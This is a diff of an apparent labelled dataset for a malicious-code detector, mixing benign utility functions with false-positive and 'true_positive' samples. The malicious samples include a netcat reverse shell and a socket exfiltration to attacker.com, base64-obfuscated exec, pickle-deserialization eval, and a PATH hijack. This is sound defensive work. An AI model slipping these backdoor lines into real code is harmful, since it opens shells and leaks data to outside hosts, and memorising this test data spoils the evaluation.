c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", "source": "mutation_engine", - "attack_type": "typosquatting" + "attack_type": null }, { - "id": "fp_125201e0", - "type": "false_positive", - "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"", - "patch": null, + "id": "tp_11954c99", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", "unit_test_code": "import code\nassert True # module loaded successfully\n", - "label": "benign", + "label": "malicious", "source": "mutation_engine", - "attack_type": null + "attack_type": "socket_exfil" }, { - "id": "fp_d9dcf68e", - "type": "false_positive", - "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9", + "id": "fn_ea592d7a", + "type": "functional", + "code_snippet": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", "patch": null, - "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", "label": "benign", "source": "mutation_engine", "attack_type": null }, { - "id": "tp_5a062473", + "id": "tp_b499a3c2", "type": "true_positive", - "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)", - "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", "unit_test_code": "import code\nassert code.factorial(5) == 120\n", "label": "malicious", "source": "mutation_engine", - "attack_type": "malicious_import" + "attack_type": "eval_hidden" }, { - "id": "fn_16406770", + "id": "fn_d6a2a8da", "type": "functional", - "code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [[mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))]", + "code_snippet": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", "patch": null, - "unit_test_code": "import code\nassert True # module loaded successfully\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", "label": "benign", "source": "mutation_engine", "attack_type": null }, { - "id": "fn_beec918d", - "type": "functional", - "code_snippet": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord('a') if char.islower() else ord('A')\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result", + "id": "fp_e655e65e", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", @@ -230,39 +14650,39 @@ "attack_type": null }, { - "id": "fp_fd8e8f9c", + "id": "fp_8e8b6752", "type": "false_positive", - "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split('\\n'):\n line = line.strip()\n if not line or line.startswith('#'):\n continue\n if line.startswith('[') and line.endswith(']'):\n current_section = line[1:-1]\n config[current_section] = {}\n elif '=' in line and current_section:\n key, val = line.split('=', 1)\n config[current_section][key.strip()] = val.strip()\n return config", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", "patch": null, - "unit_test_code": "import code\nassert True # module loaded successfully\n", + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", "label": "benign", "source": "mutation_engine", "attack_type": null }, { - "id": "fp_9dbbf54f", - "type": "false_positive", - "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params", - "patch": null, + "id": "tp_8a49a9fb", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", "unit_test_code": "import code\nassert True # module loaded successfully\n", - "label": "benign", + "label": "malicious", "source": "mutation_engine", - "attack_type": null + "attack_type": "obfuscated_exec" }, { - "id": "fp_0740c495", - "type": "false_positive", - "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts", - "patch": null, + "id": "tp_888e6f54", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", "unit_test_code": "import code\nassert True # module loaded successfully\n", - "label": "benign", + "label": "malicious", "source": "mutation_engine", - "attack_type": null + "attack_type": "obfuscated_exec" }, { - "id": "fp_dc1362e1", - "type": "false_positive", - "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def push(self, item):\n self.items.append(item)\n \n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0", + "id": "fn_8427f0af", + "type": "functional", + "code_snippet": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", @@ -270,29 +14690,29 @@ "attack_type": null }, { - "id": "fp_5902adae", - "type": "false_positive", - "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == '+':\n return a + b\n elif op == '-':\n return a - b\n elif op == '*':\n return a * b\n elif op == '/':\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None", - "patch": null, + "id": "tp_7d182ac5", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", "unit_test_code": "import code\nassert True # module loaded successfully\n", - "label": "benign", + "label": "malicious", "source": "mutation_engine", - "attack_type": null + "attack_type": "pickle_deserialization" }, { - "id": "fn_bbbe2715", + "id": "fn_5cf17e8b", "type": "functional", - "code_snippet": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit", + "code_snippet": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", "patch": null, - "unit_test_code": "import code\nassert True # module loaded successfully\n", + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", "label": "benign", "source": "mutation_engine", "attack_type": null }, { - "id": "fp_aa64127a", + "id": "fp_80e2de1c", "type": "false_positive", - "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", @@ -300,9 +14720,9 @@ "attack_type": null }, { - "id": "fp_a18f1d55", + "id": "fp_e233f246", "type": "false_positive", - "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", @@ -310,59 +14730,59 @@ "attack_type": null }, { - "id": "tp_0a39ab72", + "id": "tp_4b5310c6", "type": "true_positive", - "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n-i-1):\n if arr[j] > arr[j+1]:\n arr[j], arr[j+1] = arr[j+1], arr[j]\n return arr", - "patch": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n-i-1):\n if arr[j] > arr[j+1]:\n arr[j], arr[j+1] = arr[j+1], arr[j]\n return arr", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", - "attack_type": "eval_hidden" + "attack_type": "subprocess_backdoor" }, { - "id": "tp_ca4bbdde", + "id": "tp_4bcc5cd8", "type": "true_positive", - "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = ''.join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]", - "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = ''.join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]", - "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", - "attack_type": "subprocess_backdoor" + "attack_type": "obfuscated_exec" }, { - "id": "tp_bf8d1bfe", + "id": "tp_b02607f2", "type": "true_positive", - "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node", - "patch": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", "attack_type": "pickle_deserialization" }, { - "id": "tp_2222e46b", + "id": "tp_45cd381e", "type": "true_positive", - "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9", - "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9", - "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", - "attack_type": "pickle_deserialization" + "attack_type": "subprocess_backdoor" }, { - "id": "fp_207e4e1e", - "type": "false_positive", - "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a", + "id": "fn_e8ea385a", + "type": "functional", + "code_snippet": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", "patch": null, - "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", "source": "mutation_engine", "attack_type": null }, { - "id": "fn_12f6fff8", + "id": "fn_a7ccc5c9", "type": "functional", - "code_snippet": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1", + "code_snippet": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", @@ -370,29 +14790,29 @@ "attack_type": null }, { - "id": "tp_0cc30e49", + "id": "tp_0a32ee5e", "type": "true_positive", - "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n ** 0.5) + 1):\n if n % i == 0:\n return False\n return True", - "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n ** 0.5) + 1):\n if n % i == 0:\n return False\n return True", - "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", - "attack_type": "obfuscated_exec" + "attack_type": "socket_exfil" }, { - "id": "tp_b05e7338", - "type": "true_positive", - "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params", - "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params", + "id": "fp_5c96fe1f", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", - "label": "malicious", + "label": "benign", "source": "mutation_engine", - "attack_type": "obfuscated_exec" + "attack_type": null }, { - "id": "fp_ab0871e5", + "id": "fp_8954d4d5", "type": "false_positive", - "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split('\\n'):\n line = line.strip()\n if not line or line.startswith('#'):\n continue\n if line.startswith('[') and line.endswith(']'):\n current_section = line[1:-1]\n config[current_section] = {}\n elif '=' in line and current_section:\n key, val = line.split('=', 1)\n config[current_section][key.strip()] = val.strip()\n return config", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", @@ -400,9 +14820,9 @@ "attack_type": null }, { - "id": "fn_5856494d", - "type": "functional", - "code_snippet": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def push(self, item):\n self.items.append(item)\n \n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0", + "id": "fp_b37e1d57", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", @@ -410,59 +14830,69 @@ "attack_type": null }, { - "id": "tp_7def19e9", - "type": "true_positive", - "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed", - "patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed", - "unit_test_code": "import code\nassert True # module loaded successfully\n", - "label": "malicious", + "id": "fn_3126da7f", + "type": "functional", + "code_snippet": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "benign", "source": "mutation_engine", - "attack_type": "env_hijack" + "attack_type": null }, { - "id": "tp_252ce24f", - "type": "true_positive", - "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"", - "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"", + "id": "fn_46868f72", + "type": "functional", + "code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", - "label": "malicious", + "label": "benign", "source": "mutation_engine", - "attack_type": "pickle_deserialization" + "attack_type": null }, { - "id": "tp_3ee58253", - "type": "true_positive", - "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node", - "patch": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node", + "id": "fn_eb9edd9d", + "type": "functional", + "code_snippet": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", - "label": "malicious", + "label": "benign", "source": "mutation_engine", - "attack_type": "env_hijack" + "attack_type": null }, { - "id": "tp_d0021d28", - "type": "true_positive", - "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit", - "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit", + "id": "fp_fdde64fd", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", - "label": "malicious", + "label": "benign", "source": "mutation_engine", - "attack_type": "eval_hidden" + "attack_type": null }, { - "id": "fn_25b4b8c5", + "id": "fn_674dbeb7", "type": "functional", - "code_snippet": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return 